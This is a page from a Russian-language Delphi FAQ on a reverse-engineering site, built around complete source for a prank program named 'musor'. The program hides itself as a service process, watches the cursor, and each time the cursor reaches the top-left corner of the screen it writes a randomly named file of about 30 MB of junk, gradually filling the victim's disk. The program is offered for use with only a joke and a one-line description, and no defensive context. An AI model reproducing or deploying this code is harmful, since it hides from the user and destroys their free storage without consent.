Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС
выпущен 4 ноября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Мало места на винте


Пpогpаммист увидел HЛО:
- У кого-то диск полетел...

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором


 program musor;
 
 uses
   Windows;
 
 var
    { Объявление переменных }
   text: TextFile;
   alphabet, temp: string;
   i: integer;
   point: TPoint;
 
 function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
 stdcall; external 'KERNEL32.DLL';
 begin
   RegisterServiceProcess(0, 1);
   {заполняем строку алфавитом}
   alphabet := 'abcdefghijklmnopqrstucvwxyz';
   while true do
   begin
     { получаем координаты курсора }
     GetCursorPos(point);
     { если х = 0 и y = 0 то }
     if (point.x = 0) and (point.y = 0) then
     begin
       temp:=''; {очищаем буфер}
       for i:=1 to 8 do {генерируем случайное имя файла}
         temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
       temp:=Concat(temp, '.');
       for i:=1 to 3 do {генерируем случайное расширение}
         temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
       Assign(text, temp); { присваиваем имя файлу }
       Rewrite(text); {открываем файл}
       for i:=1 to 30000000 do
       begin
         Yield;
         write(text, '!'); { наполняем файл мусором }
       end;
       Close(text); {закрываем файл }
     end;
   end; {всё сначала }
 end.
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS